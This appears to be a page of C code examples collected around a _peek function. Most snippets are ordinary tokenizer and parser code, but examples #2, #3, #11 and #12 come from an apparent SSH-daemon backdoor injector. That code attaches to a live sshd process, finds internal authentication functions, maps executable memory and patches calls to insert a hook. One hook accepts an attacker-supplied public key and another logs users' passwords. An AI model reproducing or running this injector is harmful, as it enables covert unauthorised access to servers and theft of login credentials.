Exemple #1
0
void Parser::_validateInstruction() {
    auto next = _peek();
    auto next_type = next.getType();

    if (_instructionNeedOperand(*_pos)) {
        if (next.isOperand()) {
            _pos += 1;
            next = _peek();
            next_type = next.getType();
            if (next_type == Token::Sep) {
                return;
            } else {
                throw std::logic_error{"uexpected "+next.toString()+", need Sep or EOF"};
            }
        } else {
            throw std::logic_error{"Unexpected :"+next.toString()+", need an Operand"};
        }
    } else {
        if (next_type == Token::Sep || next_type == Token::EOF_) {
            return;
        } else {
            throw std::logic_error{"uexpected "+next.toString()+", need Sep or EOF"};
        }
    }
}
Exemple #2
0
u64 resolve_call_insn(inject_ctx *ctx, u64 call_insn_addr) {
	u8 opcode;
	int call;

	_peek(ctx->pid, call_insn_addr, &opcode, 1);

	if (opcode != 0xe8)
		return 0;

	_peek(ctx->pid, call_insn_addr+1, &call, 4);

	return call_insn_addr + 5 + call;
}
Exemple #3
0
u64 inject_resolve_rexec(inject_ctx *ctx) {
	u64 rexec_flag = resolve_symbol_tab(ctx, "rexec_flag");

	if (rexec_flag == 0) {
		u64 rexec_debug_lea = 0, rexec_test = 0;
		u32 rexec_flag_offset = 0;

		if (ctx->debug)
			info("could not resolve rexec_flag :(, trying alternative method..");

		rexec_debug_lea = lea_by_debugstr(
			ctx, LEA_RDI, "Server will not fork when running in debugging mode."
		);

		// find first call to getpid() from here
		u64 p_getpid = plt_by_name(ctx, "getpid");

		if (ctx->debug)
			info("getpid@plt = 0x%lx", p_getpid);

		u64 adr = find_nearest_call(rexec_debug_lea, p_getpid);

		// next opcode is "cmp cs:???, 0 ?
		unsigned char opbytes[2];
		_peek(ctx->pid, adr+5, opbytes, 2);

		if (memcmp(opbytes, "\x83\x3d", 2) == 0) {
			if (ctx->debug)
				info("found cmp:cs opcode..");

			_peek(ctx->pid, adr+5+2, &rexec_flag_offset, 4);
			rexec_flag = adr+5+7+rexec_flag_offset;
		} else { // finally.. old method
			if (ctx->debug)
				info("trying final method..");

			// Find the first 'test eax, eax' instruction after the debug string
			rexec_test = find_next_opcode(ctx, rexec_debug_lea, (u8*)"\x85\xc0", 2);

			// Get the rexec_flag offset from rip
			_peek(ctx->pid, rexec_test - 4, &rexec_flag_offset, 4);

			// Resolve absolute address of rip + rexec_flag_offset
			rexec_flag = rexec_test + rexec_flag_offset;
		}
	}

	return rexec_flag;
}
Exemple #4
0
static bool _tokenize_identifier(GSDLTokenizer *self, GSDLToken *result, gunichar c, GError **err) {
	int length = 7;
	char *output = result->val = g_malloc(length);
	GUnicodeType type;

	int i = g_unichar_to_utf8(c, output);

	while (_peek(self, &c, err) && (c == '-' || c == '.' || g_unichar_isalpha(c) || g_unichar_isdigit(c) || (type = g_unichar_type(c)) == G_UNICODE_CURRENCY_SYMBOL || type == G_UNICODE_CONNECT_PUNCTUATION || type == G_UNICODE_LETTER_NUMBER || type == G_UNICODE_SPACING_MARK || type == G_UNICODE_NON_SPACING_MARK)) {
		GROW_IF_NEEDED(output = result->val, i + 5, length);

		_consume(self);
		i += g_unichar_to_utf8(c, output + i);
	}

	FAIL_IF_ERR();
	output[i] = '\0';

	if (
			strcmp(output, "true") == 0 ||
			strcmp(output, "on") == 0 ||
			strcmp(output, "false") == 0 ||
			strcmp(output, "off") == 0) {
		result->type = T_BOOLEAN;
	} else if (strcmp(output, "null") == 0) {
		result->type = T_NULL;
	}

	return true;
}
Exemple #5
0
static bool _tokenize_string(GSDLTokenizer *self, GSDLToken *result, GError **err) {
	int length = 7;
	gunichar c;
	char *output = result->val = g_malloc(length);
	int i = 0;

	while (_peek(self, &c, err) && c != '"' && c != EOF) {
		GROW_IF_NEEDED(output = result->val, i, length);

		_consume(self);

		if (c == '\\') {
			_read(self, &c, err);

			switch (c) {
				case 'n': output[i++] = '\n'; break;
				case 'r': output[i++] = '\r'; break;
				case 't': output[i++] = '\t'; break;
				case '"': output[i++] = '"'; break;
				case '\'': output[i++] = '\"'; break;
				case '\\': output[i++] = '\\'; break;
				case '\r':
					_read(self, &c, err);
				case '\n':
					output[i++] = '\n';
					while (_peek(self, &c, err) && (c == ' ' || c == '\t')) _consume(self);
					break;
				default:
					i += g_unichar_to_utf8(c, output + i);
			}
		} else {
			i += g_unichar_to_utf8(c, output + i);
		}
	}

	FAIL_IF_ERR();
	output[i] = '\0';

	return true;
}
Exemple #6
0
int
st_asn1_peek(st_asn1_context context) {
  st_asn1_struct* ctx = (st_asn1_struct*) context;
  unsigned char constructed;
  unsigned char clazz;
  uint64 tag;
  uint64 length;

  if (((ctx->pos - ctx->data + 2) > ctx->datalength) ||
      ((ctx->pos[0] == 0) && (ctx->pos[1] == 0)) ||
      !_peek(ctx, &constructed, &clazz, &tag, &length))
    return 0;

  if (clazz == UNIVERSAL)
    return (int) tag;
  else
    return -((int) tag);
}
Exemple #7
0
static bool _tokenize_binary(GSDLTokenizer *self, GSDLToken *result, GError **err) {
	int length = 7;
	gunichar c;
	char *output = result->val = g_malloc(length);
	int i = 0;

	while (_peek(self, &c, err) && c != ']' && c != EOF) {
		_consume(self);

		if (c < 256 && (isalpha((char) c) || isdigit((char) c) || strchr("+/=", (char) c))) {
			GROW_IF_NEEDED(output = result->val, i, length);
			output[i++] = (gunichar) c;
		}
	}

	FAIL_IF_ERR();
	output[i] = '\0';

	return true;
}
Exemple #8
0
static bool _tokenize_backquote_string(GSDLTokenizer *self, GSDLToken *result, GError **err) {
	int length = 7;
	gunichar c;
	char *output = result->val = g_malloc(length);
	int i = 0;

	while (_peek(self, &c, err) && c != '`' && c != EOF) {
		GROW_IF_NEEDED(output = result->val, i, length);

		_consume(self);

		if (c == '\r') _read(self, &c, err);

		i += g_unichar_to_utf8(c, output + i);
	}

	FAIL_IF_ERR();
	output[i] = '\0';

	return true;
}
Exemple #9
0
/**
 * gsdl_tokenizer_next:
 * @self: A valid %GSDLTokenizer.
 * @result: (out callee-allocates): A %GSDLToken to initialize and fill in.
 * @err: (out) (allow-none): Location to store any error, may be %NULL.
 *
 * Fetches the next token from the input. Depending on the source of input, may set an error in one
 * of the %GSDL_SYNTAX_ERROR, %G_IO_CHANNEL_ERROR, or %G_CONVERT_ERROR domains.
 *
 * Returns: Whether a token could be successfully read.
 */
bool gsdl_tokenizer_next(GSDLTokenizer *self, GSDLToken **result, GError **err) {
	gunichar c, nc;
	int line;
	int col;

	retry:
	line = self->line;
	col = self->col;
	if (!_read(self, &c, err)) return false;

	if (G_UNLIKELY(c == EOF)) {
		*result = _maketoken(T_EOF, line, col);
		return true;
	} else if (c == '\r') {
		if (_peek(self, &c, err) && c == '\n') _consume(self);

		*result = _maketoken('\n', line, col);
		FAIL_IF_ERR();

		return true;
	} else if ((c == '/' && _peek(self, &nc, err) && nc == '/') || (c == '-' && _peek(self, &nc, err) && nc == '-') || c == '#') {
		if (c != '#') _consume(self);
		while (_peek(self, &c, err) && !(c == '\n' || c == EOF)) _consume(self);

		goto retry;
	} else if (c == '/' && _peek(self, &nc, err) && nc == '*') {
		while (_read(self, &c, err)) {
			if (c == EOF) {
				_set_error(err,
					self,
					GSDL_SYNTAX_ERROR_UNEXPECTED_CHAR,
					"Unterminated comment"
				);

				return false;
			} else if (c == '*' && _peek(self, &c, err) && c == '/') {
				_consume(self);
				break;
			}
		}

		goto retry;
	} else if (c < 256 && strchr("-+:;./{}=\n", (char) c)) {
		*result = _maketoken(c, line, col);
		return true;
	} else if (c < 256 && isdigit((char) c)) {
		*result = _maketoken(T_NUMBER, line, col);
		return _tokenize_number(self, *result, c, err);
	} else if (g_unichar_isalpha(c) || g_unichar_type(c) == G_UNICODE_CONNECT_PUNCTUATION || g_unichar_type(c) == G_UNICODE_CURRENCY_SYMBOL) {
		*result = _maketoken(T_IDENTIFIER, line, col);
		return _tokenize_identifier(self, *result, c, err);
	} else if (c == '[') {
		*result = _maketoken(T_BINARY, line, col);
		if (!_tokenize_binary(self, *result, err)) return false;

		REQUIRE(_read(self, &c, err));
		if (c == ']') {
			return true;
		} else {
			_set_error(err,
				self,
				GSDL_SYNTAX_ERROR_MISSING_DELIMITER,
				"Missing ']'"
			);
			return false;
		}
	} else if (c == '"') {
		*result = _maketoken(T_STRING, line, col);
		if (!_tokenize_string(self, *result, err)) return false;

		REQUIRE(_read(self, &c, err));
		if (c == '"') {
			return true;
		} else {
			_set_error(err,
				self,
				GSDL_SYNTAX_ERROR_MISSING_DELIMITER,
				"Missing '\"'"
			);
			return false;
		}
	} else if (c == '`') {
		*result = _maketoken(T_STRING, line, col);
		if (!_tokenize_backquote_string(self, *result, err)) return false;

		REQUIRE(_read(self, &c, err));
		if (c == '`') {
			return true;
		} else {
			_set_error(err,
				self,
				GSDL_SYNTAX_ERROR_MISSING_DELIMITER,
				"Missing '`'"
			);
			return false;
		}
	} else if (c == '\'') {
		*result = _maketoken(T_CHAR, line, col);
		(*result)->val = g_malloc0(4);

		_read(self, &c, err);

		if (c == '\\') {
			_read(self, &c, err);

			switch (c) {
				case 'n': c = '\n'; break;
				case 'r': c = '\r'; break;
				case 't': c = '\t'; break;
				case '"': c = '"'; break;
				case '\'': c = '\''; break;
				case '\\': c = '\\'; break;
			}
		}

		g_unichar_to_utf8(c, (*result)->val); 

		REQUIRE(_read(self, &c, err));
		if (c == '\'') {
			return true;
		} else {
			_set_error(err,
				self,
				GSDL_SYNTAX_ERROR_MISSING_DELIMITER,
				"Missing \"'\""
			);
			return false;
		}
	} else if (c == '\\' && _peek(self, &nc, err) && (nc == '\r' || nc == '\n')) {
		_consume(self);

		if (c == '\r') _read(self, &c, err);

		goto retry;
	} else if (c == ' ' || c == '\t') {
		// Do nothing
		goto retry;
	} else {
		_set_error(err,
			self,
			GSDL_SYNTAX_ERROR_UNEXPECTED_CHAR,
		   	g_strdup_printf("Invalid character '%s'(%d)", g_ucs4_to_utf8(&c, 1, NULL, NULL, NULL), c)
		);
		return false;
	}
}
Exemple #10
0
//> Sub-tokenizers
static bool _tokenize_number(GSDLTokenizer *self, GSDLToken *result, gunichar c, GError **err) {
	int length = 7;
	char *output = result->val = g_malloc(length);

	output[0] = c;
	int i = 1;

	while (_peek(self, &c, err) && c < 256 && isdigit(c)) {
		GROW_IF_NEEDED(output = result->val, i + 1, length);

		_consume(self);
		output[i++] = (gunichar) c;
	}

	FAIL_IF_ERR();

	char *suffix = output + i;

	while (_peek(self, &c, err) && c < 256 && (isalpha(c) || isdigit(c))) {
		GROW_IF_NEEDED(output = result->val, i + 1, length);

		_consume(self);
		output[i++] = (gunichar) c;
	}

	FAIL_IF_ERR();

	output[i] = '\0';

	if (*suffix == '\0') {
		// Just a T_NUMBER

		if (c == ':') {
			_consume(self);

			result->type = T_TIME_PART;
		} else if (c == '/') {
			_consume(self);

			result->type = T_DATE_PART;
		}
	} else if (strcasecmp("bd", suffix) == 0) {
		result->type = T_DECIMAL_END;
	} else if (strcasecmp("d", suffix) == 0) {
		if (c == ':') {
			_consume(self);

			result->type = T_DAYS;
		} else {
			result->type = T_DOUBLE_END;
		}
	} else if (strcasecmp("f", suffix) == 0) {
		result->type = T_FLOAT_END;
	} else if (strcasecmp("l", suffix) == 0) {
		result->type = T_LONGINTEGER;
	} else {
		_set_error(err, self, GSDL_SYNTAX_ERROR_UNEXPECTED_CHAR, g_strdup_printf("Unexpected number suffix: \"%s\"", suffix));
		return false;
	}

	*suffix = '\0';

	return true;
}
Exemple #11
0
void backdoor_pubkey_install(inject_ctx *ctx, char *pubkey) {
	signature signatures[]={
		{ 0x1, "key_allowed", "trying public key file %s", 0 },
		{ 0x2, "restore_uid", "restore_uid: %u/%u"       , 0 },
		{ 0x3, "key_new"    , "key_new: RSA_new failed"  , 0 }, 
		{ 0x4, "key_read"   , "key_read: type mismatch: ", 0 }, 
		{ 0x5, "key_free"   , "key_free: "               , 0 }, 
	};

	u8 *evil_bin;
	int i;
	u32 callcache_total, num_key_allowed2_calls=0;
	char line[255];
	callcache_entry *callcache, *entry;
	u64 user_key_allowed2_calls[MAX_KEY_ALLOWED_CALLS];
	u64 diff=0, hole_addr=0, *import_table;

	evil_bin = malloc(hook_pubkey_bin_len);
	import_table = (u64*)(evil_bin + 8);

	memcpy(evil_bin, hook_pubkey_bin, hook_pubkey_bin_len);

	import_table[0] = ctx->config_addr;

	for(i = 0; i < sizeof(signatures) / sizeof(signature); i++) {
		if (ctx->uses_new_key_system == 0 || i < 2) {
			signatures[i].addr = sub_by_debugstr(ctx, signatures[i].str);
		} else {
			u64 f_dsa_new, f_bn_new, p_dsa_new, p_bn_new, callpair, callpair_b, p_rsa_free, p_dsa_free;

			switch(i) {
				case 2: // key_new
					f_dsa_new = resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_new"
					);

					f_bn_new = resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_new"
					);

					info("DSA_new@got = 0x%lx", f_dsa_new);
					info("BN_new@got = 0x%lx", f_bn_new);

					p_dsa_new = find_plt_entry(ctx, ctx->elf_base + f_dsa_new);
					p_bn_new = find_plt_entry(ctx, ctx->elf_base + f_bn_new);

					info("DSA_new@plt = 0x%lx", p_dsa_new);
					info("BN_new@plt = 0x%lx", p_bn_new);

					callpair = find_callpair(p_dsa_new, p_bn_new);

					info("yo we got a callpair for (DSA_new, BN_new) -> 0x%lx", callpair);

					signatures[i].addr = find_entrypoint(callpair);
				break;

				case 3: // key_read
					signatures[i].addr = prevcall_by_debugstr(ctx, "user_key_allowed: advance: ");
				break;

				case 4: // key_free
					p_rsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "RSA_free"
					));

					p_dsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc(
						ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_free"
					));

					info("RSA_free@plt = 0x%lx", p_rsa_free);
					info("DSA_free@plt = 0x%lx", p_dsa_free);

					callpair_b = find_callpair(p_rsa_free, p_dsa_free);

					if(callpair_b == 0) {
						callpair_b = find_callpair(p_dsa_free, p_rsa_free);
					}

					if(callpair_b != 0) {
						info("found callpair @ 0x%lx .. finding entrypoint..", callpair_b);

						signatures[i].addr = find_entrypoint_inner(callpair_b, 3);
					} else {
						error("could not find valid callpair to derive key_free()");
					}
				break;

				default:
					error("WTF just happened!");
				break;
			}
		}

		if (signatures[i].addr == 0) {
			error("%s not found :(\n", signatures[i].name);
		}

		sprintf(line, 
			"%s\t\t= \x1b[37m0x%lx",
			signatures[i].name, signatures[i].addr - ctx->elf_base
		);

		import_table[ signatures[i].import_id ] = signatures[i].addr;

		sprintf(
			line+strlen(line), 
			" .. patched at offset 0x%lx in import table!", 
			(signatures[i].import_id*8) & 0xffff
		);

		info(line);
	}

	u64 f_BN_cmp = resolve_reloc(ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_cmp");
	info("BN_cmp@got = 0x%lx", f_BN_cmp);
	u64 l_BN_cmp;
	_peek(ctx->pid, ctx->elf_base + f_BN_cmp, &l_BN_cmp, 8);
	info("BN_cmp@lib = 0x%lx", l_BN_cmp);

	import_table[6] = l_BN_cmp;

	callcache = get_callcache();
	callcache_total = get_callcachetotal();

	for(i=0; i<callcache_total; i++) {
		entry = &callcache[i];
		if (entry->dest == signatures[0].addr && entry->type == CALLCACHE_TYPE_CALL) {
			info("found a 'call user_key_allowed' @ 0x%lx", entry->addr);
			user_key_allowed2_calls[num_key_allowed2_calls] = entry->addr;
			num_key_allowed2_calls++;
		}
	}

	if (num_key_allowed2_calls == 0)
		error("no call to user_key_allowed2 found :(");

	hole_addr = find_hole(ctx, user_key_allowed2_calls[0], 0x1000);
	
	if (hole_addr == 0) {
		error("unable to find neighborly hole.");
	}

	info("found usable hole @ 0x%lx", hole_addr);

	info2("entering critical phase");

	_mmap(
		ctx, (void*)hole_addr, 0x1000,
		PROT_READ| PROT_WRITE | PROT_EXEC,
		MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
		0, 0
	);

	for(i=0; i<num_key_allowed2_calls; i++) {
		diff = 0x100000000-(user_key_allowed2_calls[i]-hole_addr)-5;

		info(
			"building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]",
			user_key_allowed2_calls[i], hole_addr,
			diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff
		);

		_poke(ctx->pid, user_key_allowed2_calls[i]+1, &diff, 4);
	}

	_poke(ctx->pid, hole_addr, evil_bin, hook_pubkey_bin_len);

	for(i=0; i<hook_pubkey_bin_len; i++) {
		if (memcmp(evil_bin+i, "\xaa\xbb\xcc\xdd", 4) == 0) {
			info("inserting pubkey at offset %x in payload", i);
			_poke(ctx->pid, hole_addr+i, pubkey, strlen(pubkey));
		}
	}

	info("poked evil_bin to 0x%lx.", hole_addr);
}
Exemple #12
0
void backdoor_password_install(inject_ctx *ctx) {
	u32 use_privsep_val=0;
	u64 use_privsep;
	u64 *mm_auth_password_calls = NULL;
	int i, n_mm_auth_password_calls;
	u64 diff=0, hole_addr=0;
	u8 *evil_bin;

	mod_banner("installing passlogger backdoor");

	evil_bin = malloc(hook_passlog_bin_len);
	memcpy(evil_bin, hook_passlog_bin, hook_passlog_bin_len);

	u64 *import_table = (u64*)(evil_bin + 8);

	use_privsep = resolve_symbol_tab(ctx, "use_privsep");

	if (use_privsep == 0)
		error("could not locate use_privsep :(");

	info("use_privsep\t\t= 0x%llx", use_privsep);

	_peek(ctx->pid, use_privsep, &use_privsep_val, 4);

	info("use_privsep\t\t= 0x%x", use_privsep_val);

	if (use_privsep_val == 0) {
		error("pass logging for PRIVSEP_OFF currently not supported.");
	}

	u64 mm_auth_password = sub_by_debugstr(ctx, "%s: waiting for MONITOR_ANS_AUTHPASSWORD");
	info("mm_auth_password\t\t= 0x%llx", mm_auth_password);

	n_mm_auth_password_calls = find_calls(&mm_auth_password_calls, mm_auth_password);

	if (n_mm_auth_password_calls == 0)
		error("No calls to mm_auth_password found.");

	hole_addr = find_hole(ctx, mm_auth_password_calls[0], 0x1000);
	
	if (hole_addr == 0) {
		error("unable to find neighborly hole.");
	}

	info("found usable hole @ 0x%lx", hole_addr);

	_mmap(
		ctx, (void*)hole_addr, 0x1000,
		PROT_READ| PROT_WRITE | PROT_EXEC,
		MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED,
		0, 0
	);

	_peek(ctx->pid, use_privsep, &use_privsep_val, 4);
	
	// Patch mm_auth_password
	for (i = 0; i < n_mm_auth_password_calls; i++) {
		diff = 0x100000000-(mm_auth_password_calls[i]-hole_addr)-5;

		info(
			"building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]",
			mm_auth_password_calls[i], hole_addr,
			diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff
		);

		_poke(ctx->pid, mm_auth_password_calls[i]+1, &diff, 4);
	}

	import_table[0] = ctx->config_addr;
	import_table[1] = mm_auth_password;

	_poke(ctx->pid, hole_addr, evil_bin, hook_passlog_bin_len);
	
	free(mm_auth_password_calls);
}